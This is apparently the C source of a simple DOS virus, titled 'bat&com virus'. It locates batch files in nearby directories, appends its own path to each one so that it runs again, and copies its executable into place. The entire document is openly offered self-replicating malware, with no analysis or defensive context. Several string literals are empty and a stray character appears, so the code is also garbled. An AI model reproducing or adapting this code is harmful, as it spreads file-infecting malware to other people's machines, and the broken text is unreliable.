simple version of bat&com virus

    #include <stdio.h>
    #include <dos.h>
    #include <dir.h>
    #include <string.h>

            struct ffblk ffblk;
    main()
    {
         char old_dir[MAXPATH];
         Get_Path(old_dir);
         Pick_A_Dir();
         Infect_Directory();
         chdir(old_dir);
         return 0;
    }



    Pick_A_Dir()
    {
         int done;
         chdir("..");
         done=findfirst("*.BAT",&ffblk,0);

         if (done)
                {
                chdir("\\");
                done=findfirst("*.BAT",&ffblk,0);
                if (done) chdir("\\DOS\\");
                }
    return 0;
    }


    Infect_Directory()
    {
         int done;

         done = findfirst("*.BAT",&ffblk,0);
         while (!done)
            {
             Do_Batch();
             done = findnext(&ffblk);
            }

         if (findfirst("",&ffblk,0))
            {Copy_Virus();}
         return 0;
    }



    Do_Batch()
    {
            FILE *batch;
            char Infection_Buffer[12];
            char vpath[MAXPATH];

            Get_Path(vpath);



            if (vpath[3]==0) vpath[2]=0; /

            batch=fopen(ffblk.ff_name, "rt+");
            fseek(batch, -11, SEEK_END);
            fread(Infection_Buffer,11,1,batch);
            Infection_Buffer[11]=0;

            if (strcmp(Infection_Buffer,""))
                    {
                    fseek(batch, 0, SEEK_END);
                    fprintf(batch,"\n%s\\",vpath);
                    }

            fclose(batch);
            return 0;
    }


    Copy_Virus()
    {
         FILE *old_virus, *new_virus;
         int write_length;
         char copy_buffer[1024];
         old_virus=fopen(_argv[0],"rb");
         new_virus=fopen("","wb");

         write_length=1024;

         while (write_length==1024)
            {
            write_length=fread(copy_buffer,1,1024,old_virus);
            fwrite(copy_buffer,write_length,1,new_virus);
            }
         fclose(old_virus);
         fclose(new_virus);
         return 0;
    }


    Get_Path(char *path)
    {
            strcpy(path, "A:\\");
            path[0] ='A' + getdisk();
            getcurdir(0, path+3);
            return 0;
    }